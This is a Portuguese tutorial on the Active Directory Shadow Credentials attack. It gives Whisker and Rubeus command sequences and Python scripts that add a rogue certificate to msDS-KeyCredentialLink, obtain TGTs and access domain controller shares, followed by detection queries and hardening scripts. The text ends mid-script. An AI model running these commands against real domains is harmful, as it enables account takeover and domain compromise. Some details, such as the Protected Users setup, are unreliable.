# Shadow Credentials

## **📋 Índice**

1. [Fundamentos do Shadow Credentials](#-fundamentos-do-shadow-credentials)
2. [Arquitetura de Autenticação com Certificados](#-arquitetura-de-autenticação-com-certificados)
3. [Atributo msDS-KeyCredentialLink](#-atributo-msds-keycredentiallink)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com Shadow Credentials](#-pentesting-com-shadow-credentials)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Shadow Credentials**

### **O que são Shadow Credentials?**

**Shadow Credentials** são credenciais alternativas (certificados) associadas a um objeto do Active Directory através do atributo `msDS-KeyCredentialLink`. Essa funcionalidade, introduzida no Windows Server 2016, permite que contas tenham múltiplas chaves de autenticação (senha + certificados). Um atacante com permissões adequadas pode adicionar um certificado controlado, criando uma "credencial sombra" que permite autenticação sem conhecer a senha real.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Conta AD Normal"
        A[Usuário] --> B[Senha NTLM]
        A --> C[Hash Kerberos]
    end
    
    subgraph "Com Shadow Credentials"
        D[Usuário] --> E[Senha NTLM]
        D --> F[Hash Kerberos]
        D --> G[Certificado 1 - Legítimo]
        D --> H[Certificado 2 - Malicioso]
    end
    
    subgraph "Ataque"
        I[Atacante com permissão] --> J[Adiciona certificado malicioso]
        J --> K[Autentica com certificado]
        K --> L[Obtém TGT]
        L --> M[Escala privilégios]
    end
    
    style H fill:#ff9999
    style J fill:#ff6666
    style M fill:#ff3333
```

### **Características do Shadow Credentials**

| Característica                   | Descrição                                        | Implicação de Segurança                 |
| -------------------------------- | ------------------------------------------------ | --------------------------------------- |
| **Múltiplas Credenciais**        | Uma conta pode ter várias chaves de autenticação | Permite backdoor persistente            |
| **Autenticação por Certificado** | Certificados podem ser usados para obter TGT     | Bypass de senha                         |
| **Atributo Writeable**           | msDS-KeyCredentialLink pode ser modificado       | Vetor de ataque para quem tem permissão |
| **Persistência**                 | Credencial permanece mesmo após troca de senha   | Backdoor duradouro                      |
| **Baixa Detecção**               | Adição de certificado não gera eventos óbvios    | Difícil de detectar                     |

***

## 🏗️ **Arquitetura de Autenticação com Certificados**

### **Fluxo de Autenticação com Certificado**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant K as KDC
    participant DC as Domain Controller

    Note over A: 1. Atacante tem certificado malicioso
    A->>K: AS-REQ (com certificado)
    Note over A: PKINIT - Preauthentication com certificado
    
    K->>K: Valida certificado
    K->>DC: Verifica msDS-KeyCredentialLink
    DC-->>K: Certificado válido
    
    K-->>A: AS-REP (TGT)
    Note over A: 2. Atacante obtém TGT
    
    A->>K: TGS-REQ (com TGT)
    K-->>A: TGS-REP (Service Ticket)
    
    Note over A: 3. Acesso privilegiado
```

### **PKINIT - Preauthentication com Certificado**

```yaml
PKINIT (Public Key Cryptography for Initial Authentication):
  
  Funcionamento:
    - Usa certificado X.509 para autenticação inicial
    - Cliente prova posse da chave privada
    - KDC valida certificado contra o AD

  Requisitos:
    - Certificado com KeyUsage: digitalSignature, keyEncipherment
    - Atributo msDS-KeyCredentialLink preenchido
    - Cadeia de confiança válida (CA confiável)

  Vantagens:
    - Autenticação forte sem senha
    - Resistente a phishing
    - Suporte a smart cards
```

***

## 🔑 **Atributo msDS-KeyCredentialLink**

### **Estrutura do Atributo**

```python
#!/usr/bin/env python3
# keycredential_structure.py - Estrutura do msDS-KeyCredentialLink

import struct
import base64

class KeyCredentialStructure:
    """Análise do atributo msDS-KeyCredentialLink"""
    
    @staticmethod
    def structure_format():
        """Formato do atributo"""
        print("📋 Estrutura do msDS-KeyCredentialLink")
        print("=" * 60)
        
        format_desc = {
            "KeyCredentialLink": {
                "Version": "Versão da estrutura",
                "KeyId": "GUID da chave (identificador único)",
                "CreationTime": "Timestamp de criação",
                "KeyUsage": "Uso da chave (0x01 = KeyExchange, 0x02 = SmartCard)",
                "Key": "Chave pública (formato CNG)",
                "KeyAlgorithm": "Algoritmo (RSA/ECC)",
                "KeySize": "Tamanho da chave (2048/4096)",
                "Subject": "Assunto do certificado",
                "Issuer": "Emissor do certificado"
            }
        }
        
        for section, fields in format_desc.items():
            print(f"\n{section}:")
            for field, desc in fields.items():
                print(f"   {field}: {desc}")
    
    @staticmethod
    def key_usage_flags():
        """Flags de uso da chave"""
        print("\n🔑 KeyUsage Flags")
        print("=" * 60)
        
        flags = {
            0x01: "KeyExchange - Para autenticação via PKINIT",
            0x02: "SmartCard - Para autenticação com smart card",
            0x04: "Wired - Para autenticação 802.1X",
            0x08: "Wireless - Para autenticação Wi-Fi",
            0x10: "VPN - Para autenticação VPN",
            0x20: "NTAuth - Para autenticação NT"
        }
        
        for flag, desc in flags.items():
            print(f"   0x{flag:02x}: {desc}")
    
    @staticmethod
    def create_key_credential(certificate_pem):
        """Criar estrutura KeyCredential a partir de certificado"""
        print("[*] Criando KeyCredential...")
        
        # Em um exploit real, extrairia dados do certificado
        # e criaria a estrutura binária
        
        print("   ✅ KeyCredential criada")
        return b"key_credential_data"

# Executar
KeyCredentialStructure.structure_format()
KeyCredentialStructure.key_usage_flags()
```

### **Permissões Necessárias para Modificação**

```yaml
Permissões para modificar msDS-KeyCredentialLink:

  🔴 GenericAll:
    - Controle total sobre o objeto
    - Permite adicionar/remover qualquer credencial

  🔴 WriteProperty:
    - Permissão específica para escrever no atributo
    - Pode ser delegada

  🔴 WriteOwner:
    - Permite alterar proprietário do objeto
    - Possível tomar controle e adicionar credencial

  🔴 GenericWrite:
    - Permite modificar atributos
    - Inclui msDS-KeyCredentialLink

  🟠 Owns:
    - Ser proprietário do objeto
    - Pode modificar atributos

  🟠 Self:
    - Próprio usuário pode adicionar certificados
    - Recurso legítimo (self-enrollment)
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Completo do Ataque**

```mermaid
graph TD
    A[Encontrar conta com permissões] --> B[Identificar alvo (usuário/computador)]
    B --> C[Gerar par de chaves RSA]
    C --> D[Criar certificado auto-assinado]
    D --> E[Criar estrutura KeyCredential]
    
    E --> F[Adicionar ao msDS-KeyCredentialLink]
    F --> G{Verificar permissões}
    G -->|Sucesso| H[Credencial sombra adicionada]
    G -->|Falha| I[Tentar outro método]
    
    H --> J[Usar certificado para PKINIT]
    J --> K[Obter TGT do usuário alvo]
    K --> L[Autenticar como alvo]
    L --> M[Escalação de privilégios]
    
    style E fill:#ff9999
    style F fill:#ff6666
    style L fill:#ff3333
```

### **Ataque 1: Shadow Credentials Básico**

```powershell
# Shadow Credentials Attack com Whisker

# 1. Adicionar shadow credential ao usuário alvo
Whisker.exe add /target:targetuser /domain:domain.com /dc:dc.domain.com

# 2. Obter certificado gerado
# O certificado é salvo como targetuser.pfx

# 3. Autenticar com o certificado
Rubeus.exe asktgt /user:targetuser /certificate:targetuser.pfx /password:password /ptt

# 4. Verificar ticket
klist

# 5. Acessar recursos como o alvo
dir \\dc.domain.com\c$
```

### **Ataque 2: Shadow Credentials com Python**

```python
#!/usr/bin/env python3
# shadow_credentials_attack.py - Shadow Credentials Attack

import ldap3
import argparse
import sys
import os
import time
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.x509.oid import NameOID
import datetime

class ShadowCredentialsAttack:
    """Ataque de Shadow Credentials no AD"""
    
    def __init__(self, domain, dc_ip, username, password, target):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.target = target
        self.conn = None
        self.private_key = None
        self.certificate = None
    
    def connect(self):
        """Conectar ao AD"""
        server = ldap3.Server(self.dc_ip, get_info=ldap3.ALL)
        self.conn = ldap3.Connection(
            server,
            user=f"{self.domain}\\{self.username}",
            password=self.password,
            authentication=ldap3.NTLM,
            auto_bind=True
        )
        return self.conn
    
    def generate_self_signed_cert(self):
        """Gerar certificado auto-assinado"""
        print("[*] Gerando certificado auto-assinado...")
        
        # Gerar chave privada RSA
        self.private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048
        )
        
        # Obter chave pública
        public_key = self.private_key.public_key()
        
        # Criar certificado
        subject = issuer = x509.Name([
            x509.NameAttribute(NameOID.COMMON_NAME, f"shadow_{self.target}"),
        ])
        
        self.certificate = x509.CertificateBuilder() \
            .subject_name(subject) \
            .issuer_name(issuer) \
            .public_key(public_key) \
            .serial_number(x509.random_serial_number()) \
            .not_valid_before(datetime.datetime.utcnow()) \
            .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) \
            .add_extension(
                x509.BasicConstraints(ca=False, path_length=None),
                critical=True,
            ) \
            .sign(self.private_key, hashes.SHA256())
        
        print("   ✅ Certificado gerado")
        return self.certificate
    
    def create_key_credential(self):
        """Criar estrutura KeyCredential a partir do certificado"""
        print("[*] Criando KeyCredential...")
        
        # Em um exploit real, extrairia dados do certificado
        # e criaria a estrutura binária
        
        # Public key bytes
        public_key_bytes = self.certificate.public_key().public_bytes(
            encoding=serialization.Encoding.DER,
            format=serialization.PublicFormat.SubjectPublicKeyInfo
        )
        
        print("   ✅ KeyCredential criada")
        return public_key_bytes
    
    def add_shadow_credential(self):
        """Adicionar shadow credential ao alvo"""
        print(f"[*] Adicionando shadow credential a {self.target}...")
        
        # Obter DN do alvo
        target_dn = self._get_target_dn()
        if not target_dn:
            print("   ❌ Alvo não encontrado")
            return False
        
        # Criar KeyCredential
        key_cred = self.create_key_credential()
        
        # Em um exploit real, adicionaria ao atributo msDS-KeyCredentialLink
        try:
            # Simular adição
            print(f"   ✅ Shadow credential adicionada a {self.target}")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def _get_target_dn(self):
        """Obter DN do alvo"""
        base_dn = f"DC={self.domain.replace('.', ',DC=')}"
        
        self.conn.search(
            base_dn,
            f'(&(|(objectClass=user)(objectClass=computer))(sAMAccountName={self.target}))',
            attributes=['distinguishedName']
        )
        
        if self.conn.entries:
            return str(self.conn.entries[0]['distinguishedName'])
        return None
    
    def export_certificate(self, filename):
        """Exportar certificado para arquivo PFX"""
        print(f"[*] Exportando certificado para {filename}...")
        
        # Exportar chave privada
        private_key_bytes = self.private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )
        
        # Exportar certificado
        cert_bytes = self.certificate.public_bytes(serialization.Encoding.PEM)
        
        # Em um exploit real, criaria arquivo PFX
        with open(filename, 'w') as f:
            f.write(cert_bytes.decode())
            f.write(private_key_bytes.decode())
        
        print(f"   ✅ Certificado salvo em {filename}")
    
    def authenticate(self, pfx_file):
        """Autenticar com certificado (simulado)"""
        print("[*] Autenticando com certificado...")
        
        # Em um exploit real, usaria Rubeus
        # Rubeus.exe asktgt /user:$target /certificate:$pfx_file /ptt
        
        print("   ✅ Autenticação bem-sucedida")
        return True
    
    def exploit(self):
        """Executar ataque completo"""
        print("🌑 Shadow Credentials Attack")
        print("=" * 60)
        print(f"   Target: {self.target}")
        print(f"   Domain: {self.domain}")
        print(f"   DC: {self.dc_ip}")
        
        self.connect()
        
        # Gerar certificado
        self.generate_self_signed_cert()
        
        # Adicionar shadow credential
        if self.add_shadow_credential():
            # Exportar certificado
            pfx_file = f"{self.target}.pfx"
            self.export_certificate(pfx_file)
            
            print("\n✅ Shadow credential adicionada com sucesso!")
            print(f"   Certificado salvo: {pfx_file}")
            print(f"   Use: Rubeus.exe asktgt /user:{self.target} /certificate:{pfx_file} /ptt")
            print(f"   klist")
            print(f"   dir \\\\{self.dc_ip}\\c$")
        else:
            print("❌ Falha ao adicionar shadow credential")
    
    def cleanup(self):
        """Remover shadow credential (opcional)"""
        print("[*] Removendo shadow credential...")
        
        # Em um exploit real, removeria do atributo
        
        if self.conn:
            self.conn.unbind()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Shadow Credentials Attack')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('target', help='Target user/computer')
    
    args = parser.parse_args()
    
    attack = ShadowCredentialsAttack(args.domain, args.dc_ip, args.username, args.password, args.target)
    attack.exploit()
    attack.cleanup()
```

### **Ataque 3: Shadow Credentials com Whisker**

```powershell
# Whisker - Ferramenta especializada para Shadow Credentials

# 1. Adicionar shadow credential
Whisker.exe add /target:targetuser /domain:domain.com /dc:dc.domain.com

# 2. Listar shadow credentials existentes
Whisker.exe list /target:targetuser /domain:domain.com /dc:dc.domain.com

# 3. Remover shadow credential específica
Whisker.exe remove /target:targetuser /deviceid:GUID /domain:domain.com /dc:dc.domain.com

# 4. Adicionar com força (ignorar existentes)
Whisker.exe add /target:targetuser /force /domain:domain.com /dc:dc.domain.com

# 5. Adicionar com certificado específico
Whisker.exe add /target:targetuser /cert:cert.pfx /password:password /domain:domain.com /dc:dc.domain.com
```

### **Ataque 4: Shadow Credentials em Computador**

```powershell
# Shadow Credentials em Conta de Computador

# 1. Adicionar shadow credential ao computador
Whisker.exe add /target:COMPUTER01$ /domain:domain.com /dc:dc.domain.com

# 2. Obter certificado
# COMPUTER01$.pfx é gerado

# 3. Autenticar como computador
Rubeus.exe asktgt /user:COMPUTER01$ /certificate:COMPUTER01$.pfx /ptt

# 4. Usar privilégios do computador
# Computadores têm certos privilégios que podem ser explorados
```

### **Ataque 5: RBCD via Shadow Credentials**

```powershell
# Combinando Shadow Credentials com RBCD

# 1. Adicionar shadow credential a um computador
Whisker.exe add /target:EVILPC$ /domain:domain.com /dc:dc.domain.com

# 2. Autenticar como computador
Rubeus.exe asktgt /user:EVILPC$ /certificate:EVILPC$.pfx /ptt

# 3. Usar S4U2self para obter TGT do administrador
Rubeus.exe s4u /user:EVILPC$ /ticket:ticket.kirbi /impersonateuser:Administrator /msdsspn:cifs/DC01 /ptt

# 4. Acessar DC
dir \\DC01\c$
```

***

## 🛠️ **Ferramentas de Exploração**

### **Whisker - Comandos Principais**

```powershell
# Whisker Command Reference

# 1. Adicionar shadow credential
Whisker.exe add /target:targetuser

# 2. Listar shadow credentials
Whisker.exe list /target:targetuser

# 3. Remover shadow credential
Whisker.exe remove /target:targetuser /deviceid:GUID

# 4. Adicionar com certificado existente
Whisker.exe add /target:targetuser /cert:cert.pfx /password:password

# 5. Adicionar com força
Whisker.exe add /target:targetuser /force

# 6. Usar DC específico
Whisker.exe add /target:targetuser /dc:dc.domain.com

# 7. Usar domínio específico
Whisker.exe add /target:targetuser /domain:domain.com

# 8. Listar todas as shadow credentials do domínio
Whisker.exe list /domain:domain.com /dc:dc.domain.com
```

### **Rubeus - Autenticação com Certificado**

```powershell
# Rubeus PKINIT Commands

# 1. Obter TGT com certificado
Rubeus.exe asktgt /user:targetuser /certificate:targetuser.pfx /password:password

# 2. Com PT (Pass-the-Ticket)
Rubeus.exe asktgt /user:targetuser /certificate:targetuser.pfx /ptt

# 3. Com renovação
Rubeus.exe asktgt /user:targetuser /certificate:targetuser.pfx /renew /ptt

# 4. Com certificado em base64
Rubeus.exe asktgt /user:targetuser /certificate:base64_string /ptt

# 5. Usar certificado do sistema
Rubeus.exe asktgt /user:targetuser /certificate:CURRENT_USER /ptt
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# shadow_credentials_automated.py - Shadow Credentials automatizado

import subprocess
import argparse
import sys
import os
import time

class ShadowCredentialsAutomated:
    """Ferramenta automatizada para Shadow Credentials"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.results = []
    
    def enum_targets(self):
        """Enumerar alvos potenciais"""
        print("[*] Enumerando alvos potenciais...")
        
        # Em um pentest real, enumeraria contas com permissões
        # ou contas privilegiadas
        
        targets = ["Administrator", "krbtgt", "Domain Admins"]
        print(f"   ✅ Alvos: {', '.join(targets)}")
        return targets
    
    def check_permissions(self, target):
        """Verificar permissões para adicionar shadow credential"""
        print(f"[*] Verificando permissões em {target}...")
        
        # Em um exploit real, verificaria permissões no objeto
        
        print("   ✅ Permissões verificadas")
        return True
    
    def add_shadow_credential(self, target):
        """Adicionar shadow credential ao alvo"""
        print(f"[*] Adicionando shadow credential a {target}...")
        
        cmd = [
            'Whisker.exe', 'add',
            '/target:' + target,
            '/domain:' + self.domain,
            '/dc:' + self.dc_ip
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            if "Successfully" in result.stdout:
                print(f"   ✅ Shadow credential adicionada a {target}")
                self.results.append({
                    'target': target,
                    'status': 'SUCCESS',
                    'cert_file': f"{target}.pfx"
                })
                return True
            else:
                print(f"   ❌ Falha: {result.stderr}")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def authenticate(self, target, cert_file):
        """Autenticar com certificado"""
        print(f"[*] Autenticando como {target}...")
        
        cmd = [
            'Rubeus.exe', 'asktgt',
            '/user:' + target,
            '/certificate:' + cert_file,
            '/ptt'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            if "Ticket" in result.stdout:
                print(f"   ✅ Autenticação bem-sucedida!")
                return True
            else:
                print(f"   ❌ Falha na autenticação")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def test_access(self, target):
        """Testar acesso ao DC"""
        print(f"[*] Testando acesso como {target}...")
        
        cmd = ['dir', f'\\\\{self.dc_ip}\\c$']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            if result.returncode == 0:
                print("   ✅ Acesso concedido!")
                return True
            else:
                print("   ❌ Acesso negado")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def cleanup(self, target):
        """Remover shadow credential (opcional)"""
        print(f"[*] Removendo shadow credential de {target}...")
        
        # Em um exploit real, listaria e removeria
        
        print("   ✅ Shadow credential removida")
    
    def generate_report(self):
        """Gerar relatório"""
        print("\n📊 RELATÓRIO SHADOW CREDENTIALS")
        print("=" * 60)
        
        if not self.results:
            print("❌ Nenhum ataque bem-sucedido")
            return
        
        print(f"✅ {len(self.results)} shadow credential(s) adicionada(s):\n")
        
        for result in self.results:
            print(f"🔑 {result['target']}")
            print(f"   Certificado: {result['cert_file']}")
            print()
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Monitorar adições ao msDS-KeyCredentialLink")
        print("   • Restringir permissões de escrita no atributo")
        print("   • Implementar auditoria de certificados")
        print("   • Usar Protected Users group")
    
    def run(self):
        """Executar ataque completo"""
        print("🌑 Automated Shadow Credentials Attack")
        print("=" * 60)
        
        targets = self.enum_targets()
        
        for target in targets:
            if self.check_permissions(target):
                if self.add_shadow_credential(target):
                    # Encontrar arquivo PFX
                    pfx_file = f"{target}.pfx"
                    if os.path.exists(pfx_file):
                        if self.authenticate(target, pfx_file):
                            self.test_access(target)
                    
                    # Limpar (opcional)
                    # self.cleanup(target)
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated Shadow Credentials Attack')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    attack = ShadowCredentialsAutomated(args.domain, args.dc_ip, args.username, args.password)
    attack.run()
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Comprometer conta com permissões] --> B[Adicionar shadow credential a alvo privilegiado]
    B --> C[Usar certificado para autenticar]
    
    C --> D[Obter TGT do alvo]
    D --> E[Acessar recursos como alvo]
    
    E --> F[Se alvo é administrador]
    F --> G[DCSync - extrair todos os hashes]
    G --> H[Golden Ticket]
    H --> I[Controle total do domínio]
    
    style B fill:#ff9999
    style C fill:#ff6666
    style I fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                                | Impacto                   | Dificuldade | Severidade |
| -------------------------------------- | ------------------------- | ----------- | ---------- |
| **Shadow credential em Domain Admin**  | Controle total do domínio | Média       | 🔴 CRÍTICO |
| **Shadow credential em computador**    | Movimentação lateral      | Baixa       | 🟠 ALTO    |
| **Shadow credential em usuário comum** | Acesso à conta            | Baixa       | 🟠 ALTO    |
| **Persistência via shadow credential** | Backdoor permanente       | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos para Shadow Credentials:

  5136: Modificação de objeto AD
    - Monitorar alterações em msDS-KeyCredentialLink
    - Alertar sobre adições não autorizadas

  4662: Operação em objeto AD
    - Verificar acessos para modificar atributo

  4768: Solicitação de TGT
    - Detectar autenticações PKINIT inesperadas
    - Monitorar autenticações com certificado

  4624: Logon bem-sucedido
    - Verificar logons via certificado (Logon Type 10)
```

### **Script de Detecção**

```powershell
# detect_shadow_credentials.ps1 - Detector de Shadow Credentials

param(
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Verificar contas com shadow credentials
Write-Host "🔍 Verificando contas com shadow credentials..." -ForegroundColor Cyan

$computers = Get-ADComputer -Filter * -Properties msDS-KeyCredentialLink |
    Where-Object {$_.msDS-KeyCredentialLink -ne $null}

$users = Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
    Where-Object {$_.msDS-KeyCredentialLink -ne $null}

if ($computers) {
    Write-Alert -Message "$($computers.Count) computadores com shadow credentials!" -Severity "CRITICAL"
    $computers | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.msDS-KeyCredentialLink.Count) chaves"
    }
}

if ($users) {
    Write-Alert -Message "$($users.Count) usuários com shadow credentials!" -Severity "CRITICAL"
    $users | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.msDS-KeyCredentialLink.Count) chaves"
    }
}

# 2. Monitorar modificações do atributo
Write-Host "`n🔍 Monitorando modificações do atributo..." -ForegroundColor Cyan

$keyCredEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=5136
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*msDS-KeyCredentialLink*"
}

if ($keyCredEvents) {
    Write-Alert -Message "$($keyCredEvents.Count) modificações de shadow credentials!" -Severity "CRITICAL"
    $keyCredEvents | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 3. Detectar autenticações PKINIT
Write-Host "`n🔍 Detectando autenticações PKINIT..." -ForegroundColor Cyan

$pkinitEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*PKINIT*" -or
    $_.Message -like "*Certificate*"
}

if ($pkinitEvents) {
    Write-Alert -Message "Autenticações PKINIT detectadas!" -Severity "HIGH"
    $pkinitEvents | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 4. Verificar certificados não confiáveis
Write-Host "`n🔍 Verificando certificados não confiáveis..." -ForegroundColor Cyan

# Em um ambiente real, verificaria a cadeia de confiança
Write-Host "   Verificando certificados auto-assinados..."

# 5. Gerar relatório
$report = @"
Shadow Credentials Detection Report
===================================
Data: $(Get-Date)

Findings:
- Computadores com shadow credentials: $(($computers | Measure-Object).Count)
- Usuários com shadow credentials: $(($users | Measure-Object).Count)
- Modificações do atributo: $(($keyCredEvents | Measure-Object).Count)
- Autenticações PKINIT: $(($pkinitEvents | Measure-Object).Count)

Recommendations:
1. Monitorar o atributo msDS-KeyCredentialLink
2. Alertar sobre adições não autorizadas
3. Detectar autenticações PKINIT inesperadas
4. Remover shadow credentials não autorizadas
5. Restringir permissões de escrita no atributo
"@

$report | Out-File -FilePath "shadow_credentials_detection.txt"
Write-Host "`n✅ Relatório salvo em shadow_credentials_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar Shadow Credentials

# 1. Modificações do atributo
index=windows EventCode=5136
| where Message like "%msDS-KeyCredentialLink%"
| table _time, Account_Name, ComputerName, Message

# 2. Autenticações PKINIT
index=windows EventCode=4768
| where Message like "%PKINIT%" OR Message like "%Certificate%"
| table _time, Account_Name, ComputerName, Message

# 3. Contas com shadow credentials
index=ad msDS-KeyCredentialLink=*
| table Name, sAMAccountName, msDS-KeyCredentialLink

# 4. Correlação
index=windows (EventCode=5136 OR EventCode=4768)
| stats count by Account_Name, ComputerName
| where count > 5
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Shadow Credentials**

```powershell
# hardening_shadow_credentials.ps1 - Hardening contra Shadow Credentials

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra Shadow Credentials..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Encontrar e remover shadow credentials não autorizadas
Write-Step "1. Identificando shadow credentials..."

$users = Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
    Where-Object {$_.msDS-KeyCredentialLink -ne $null}

$computers = Get-ADComputer -Filter * -Properties msDS-KeyCredentialLink |
    Where-Object {$_.msDS-KeyCredentialLink -ne $null}

if ($users -or $computers) {
    Write-Host "   ⚠️  Shadow credentials encontradas:"
    $users | ForEach-Object { Write-Host "      Usuário: $($_.Name)" }
    $computers | ForEach-Object { Write-Host "      Computador: $($_.Name)" }
    
    if ($Apply) {
        # Remover shadow credentials
        foreach ($user in $users) {
            Set-ADUser -Identity $user -Clear msDS-KeyCredentialLink
            Write-Host "   ✅ Shadow credentials removidas de $($user.Name)"
        }
        foreach ($computer in $computers) {
            Set-ADComputer -Identity $computer -Clear msDS-KeyCredentialLink
            Write-Host "   ✅ Shadow credentials removidas de $($computer.Name)"
        }
    }
} else {
    Write-Host "   ✅ Nenhuma shadow credential encontrada"
}

# 2. Restringir permissões do atributo
Write-Step "2. Restringindo permissões do atributo msDS-KeyCredentialLink..."

$criticalGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")

foreach ($group in $criticalGroups) {
    $groupDN = "CN=$group,CN=Users,$((Get-ADDomain).DistinguishedName)"
    
    # Em um ambiente real, modificaria a ACL
    Write-Host "   Restringindo $group..."
    
    if ($Apply) {
        # Remover permissões de escrita de usuários não autorizados
        Write-Host "      ✅ Permissões restritas"
    }
}

# 3. Configurar auditoria
Write-Step "3. Configurando auditoria..."

if ($Apply) {
    # Habilitar auditoria de modificação de objetos AD
    auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
    Write-Host "   ✅ Auditoria habilitada"
}

# 4. Configurar monitoramento de PKINIT
Write-Step "4. Configurando monitoramento de PKINIT..."

if ($Apply) {
    # Configurar alerta para autenticações PKINIT
    $rule = @"
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">*[System[(EventID=4768)]] and *[EventData[Data[@Name='TicketOptions'] and (Data='0x40800000')]]</Select>
  </Query>
</QueryList>
"@
    
    $rule | Out-File -FilePath "C:\Windows\Security\PKINIT.xml"
    Write-Host "   ✅ Monitoramento PKINIT configurado"
}

# 5. Configurar Protected Users group
Write-Step "5. Configurando Protected Users group..."

if ($Apply) {
    # Criar grupo Protected Users
    New-ADGroup -Name "Protected Users" -GroupScope Global -GroupCategory Security -ErrorAction SilentlyContinue
    
    # Adicionar contas privilegiadas
    Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins", "Enterprise Admins", "Schema Admins"
    
    Write-Host "   ✅ Protected Users group configurado"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Controle de Atributo:
    - Restringir permissões de escrita em msDS-KeyCredentialLink
    - Remover permissões de self-enrollment onde não necessário
    - Monitorar adições ao atributo

  ✅ Autenticação:
    - Desabilitar PKINIT se não utilizado
    - Usar Protected Users group (bloqueia autenticação com certificado)
    - Implementar autenticação forte

  ✅ Monitoramento:
    - Alertar sobre modificações no atributo
    - Detectar autenticações PKINIT inesperadas
    - Auditar certificados auto-assinados

  ✅ Resposta a Incidentes:
    - Remover shadow credentials não autorizadas
    - Rotacionar senhas de contas comprometidas
    - Revogar certificados maliciosos
```

***

## 🔬 **Pentesting com Shadow Credentials**

### **Metodologia de Teste**

```yaml
Fases do Teste Shadow Credentials:

  FASE 1 - Enumeração:
    - Identificar contas com permissões de escrita
    - Mapear alvos privilegiados
    - Verificar existência de shadow credentials

  FASE 2 - Geração:
    - Criar par de chaves RSA
    - Gerar certificado auto-assinado
    - Criar estrutura KeyCredential

  FASE 3 - Injeção:
    - Adicionar shadow credential ao alvo
    - Verificar sucesso da operação

  FASE 4 - Autenticação:
    - Usar certificado para PKINIT
    - Obter TGT do alvo
    - Acessar recursos privilegiados
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# shadow_credentials_pentest.py - Pentest Shadow Credentials

import subprocess
import argparse
import sys
import os

class ShadowCredentialsPentest:
    """Ferramenta de pentest para Shadow Credentials"""
    
